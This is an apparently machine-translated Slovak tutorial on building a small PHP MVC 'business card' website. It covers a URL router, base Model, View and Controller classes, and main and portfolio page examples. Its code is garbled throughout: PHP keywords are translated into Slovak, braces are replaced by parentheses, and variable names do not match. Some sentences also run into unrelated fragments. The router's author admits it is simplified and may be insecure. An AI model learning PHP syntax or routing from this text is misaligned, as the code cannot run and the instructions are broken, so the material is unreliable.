"application/controllers/" .$controller_file ; ) else ( /* tu by bolo správne vyhodiť výnimku, ale pre zjednodušenie sa okamžite presmerujeme na stránku 404 */ Route::ErrorPage404(); ) // vytvorte radič $controller = new $controller_name ; $akcia = $nazov_akcie ; if (method_exists($controller , $action)) ( // zavolajte akciu ovládača $controller ->$action (); ) else ( // tu by bolo tiež rozumnejšie vyvolať výnimku Route::ErrorPage404(); ) ) function ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 Not Found" ); header("Status: 404 Not Found" ) ; header(" Location:" .$host ."404" ); ) )


    Všimol som si, že trieda implementuje veľmi zjednodušenú logiku (napriek objemnému kódu) a môže mať dokonca bezpečnostné problémy. Bolo to urobené zámerne, pretože... napísanie plnohodnotnej triedy smerovania si zaslúži minimálne samostatný článok. Pozrime sa na hlavné body...

    Globálny prvok poľa $_SERVER["REQUEST_URI"] obsahuje úplnú adresu, na ktorú používateľ kontaktoval.
    Napríklad: example.ru/contacts/feedback

    Pomocou funkcie vybuchnúť Adresa je rozdelená na komponenty. V dôsledku toho dostaneme názov ovládača, v uvedenom príklade je to ovládač kontakty a názov akcie, v našom prípade - spätná väzba.

    Ďalej sa pripojí súbor modelu (model môže chýbať) a súbor radiča, ak nejaký existuje, a nakoniec sa vytvorí inštancia ovládača a zavolá sa akcia, ak bola popísaná v triede ovládača.

    Keď teda idete napríklad na adresu:
    example.com/portfolio
    alebo
    example.com/portfolio/index
    Router vykoná nasledujúce akcie:

  • bude obsahovať súbor model_portfolio.php z priečinka models, ktorý obsahuje triedu Model_Portfolio;
  • bude obsahovať súbor controller_portfolio.php z priečinka controllers, ktorý obsahuje triedu Controller_Portfolio;
  • vytvorí inštanciu triedy Controller_Portfolio a zavolá predvolenú akciu, action_index, popísanú v nej.
  • Ak sa používateľ pokúsi získať prístup k adrese neexistujúceho ovládača, napríklad:
    example.com/ufo
    potom bude presmerovaný na stránku „404“:
    example.com/404
    To isté sa stane, ak používateľ pristúpi k akcii, ktorá nie je popísaná v ovládači.2.2. Vráťme sa k implementácii MVC. Poďme do hlavného priečinka a do súboru route.php pridajte ďalšie tri súbory: model.php, view.php a controller.php


    Dovoľte mi pripomenúť, že budú obsahovať základné triedy, ktoré teraz začneme písať.

    Obsah súboru model.php
    model triedy ( verejná funkcia get_data ( ) ( ) )
    Trieda modelu obsahuje jedinú metódu načítania prázdnych údajov, ktorá bude v podradených triedach prepísaná. Keď vytvoríme triedy potomkov, všetko bude jasnejšie.

    Obsah súboru view.php
    class View ( //public $template_view; // tu môžete zadať predvolené všeobecné zobrazenie. function generation ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // prevod poľa elementy into variables extract($data); ) */ include "application/views/" .$template_view ; ) )
    Nie je ťažké uhádnuť, že metóda generovať určené na vytvorenie pohľadu. Odovzdávajú sa mu nasledujúce parametre:

  • $content_file - zobrazenia zobrazujúce obsah stránky;
  • $template_file — šablóna spoločná pre všetky stránky;
  • $data je pole obsahujúce prvky obsahu stránky. Zvyčajne vyplnené v modeli.
  • Funkcia include dynamicky spája všeobecnú šablónu (pohľad), v rámci ktorej bude pohľad vložený
    na zobrazenie obsahu konkrétnej stránky.

    V našom prípade bude všeobecná šablóna obsahovať hlavičku, menu, bočný panel a pätu a obsah stránky bude obsiahnutý v samostatnom formulári. Opäť sa to robí pre jednoduchosť.

    Obsah súboru controller.php
    class Controller ( public $model ; public $view ; funkcia __construct () ( $this ->view = new View(); ) ) )
    Metóda action_index- toto je štandardne volaná akcia; pri implementácii podradených tried ju prepíšeme.

    2.3. Implementácia nasledovných tried Model a Controller, vytvorenie View's Teraz začína zábava! Naša webstránka vizitiek bude pozostávať z nasledujúcich stránok:
  • Domov
  • Služby
  • Portfólio
  • Kontakty
  • A tiež - stránka „404“.
  • Každá stránka má svoj vlastný ovládač z priečinka controllers a pohľad z priečinka views. Niektoré stránky môžu používať model alebo modely z priečinka modely.


    Na predchádzajúcom obrázku je samostatne zvýraznený súbor template_view.php – ide o šablónu obsahujúcu značky spoločné pre všetky stránky. V najjednoduchšom prípade to môže vyzerať takto:
    Domov
    Aby sme dali stránke prezentovateľný vzhľad, vytvoríme šablónu CSS a integrujeme ju do našej stránky zmenou štruktúry značiek HTML a prepojením súborov CSS a JavaScript:

    Na konci článku v časti „Výsledok“ je odkaz na úložisko GitHub s projektom, v ktorom boli podniknuté kroky na integráciu jednoduchej šablóny.

    2.3.1. Vytvorenie hlavnej stránky Začnime s ovládačom controller_main.php , tu je jeho kód:
    class Controller_Main rozširuje Controller ( funkcia action_index () ( $this ->view->generate("main_view.php" , "template_view.php" ); ) )
    V metóde generovať inštancia triedy View sa odovzdávajú názvy súborov všeobecnej šablóny a zobrazenie s obsahom stránky.
    Okrem indexovej akcie môže ovládač samozrejme obsahovať aj ďalšie akcie.

    Súbor všeobecného zobrazenia sme skontrolovali skôr. Zvážte obsahový súbor main_view.php:
    Vitajte! OLOLOSHA TEAM je tím prvotriednych špecialistov v oblasti tvorby webových stránok s dlhoročnými skúsenosťami so zbieraním mexických masiek, bronzových a kamenných sôch z Indie a Cejlónu, basreliéfov a sôch vytvorených majstrami Rovníkovej Afriky päť alebo šesť storočí pred...
    Toto obsahuje jednoduché značkovanie bez akýchkoľvek volaní PHP.
    Na zobrazenie hlavnej stránky môžete použiť jednu z nasledujúcich adries:

    • metódy knižníc, ktoré implementujú abstrakciu údajov. Napríklad metódy knižnice PEAR MDB2;
    • metódy ORM;
    • metódy práce s NoSQL;
    • atď.
    • Pre jednoduchosť tu nebudeme používať SQL dotazy ani ORM príkazy. Namiesto toho budeme emulovať skutočné údaje a okamžite vrátime pole výsledkov.
      Umiestnite súbor modelu model_portfolio.php do priečinka models. Tu je jeho obsah:
      class Model_Portfolio rozširuje Model ( verejná funkcia get_data () ( návratové pole (pole ("Rok" => "2012" , "Stránka" => "http://DunkelBeer.ru" , "Popis" => "Propagačná stránka tmavé pivo Dunkel od nemeckého výrobcu Löwenbraü vyrábané v Rusku pivovarníckou spoločnosťou "SUN InBev." ), pole ("Rok" => "2012" , "Stránka" => "http://ZopoMobile.ru" , "Popis " => "Katalóg čínskych telefónov od spoločnosti Zopo v ruskom jazyku založený na OS Android a príslušenstvo k nim."), // todo ) ) )

      Trieda modelového radiča je obsiahnutá v súbore controller_portfolio.php, tu je jej kód:
      class Controller_Portfolio rozširuje Controller ( funkcia __construct () ( $this ->model = new Model_Portfolio(); $this ->view = new View(); ) funkcia action_index () ( $data = $this ->model->get_data( ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data ); ) )
      Do premennej údajov pole vrátené metódou sa zapíše get_data na ktoré sme sa pozreli skôr.
      Táto premenná sa potom odovzdá ako parameter metódy generovať, ktorý obsahuje aj: názov súboru so všeobecnou šablónou a názov súboru obsahujúceho zobrazenie s obsahom stránky.

      Pohľad obsahujúci obsah stránky je v súbore portfolio_view.php.
      Portfólio

      Všetky projekty v nasledujúcej tabuľke sú fiktívne, takže sa ani nepokúšajte sledovať uvedené odkazy.

      2024 | Počítače pre každého – nastavenie, inštalácia, obnovenie


      rokProjektPopis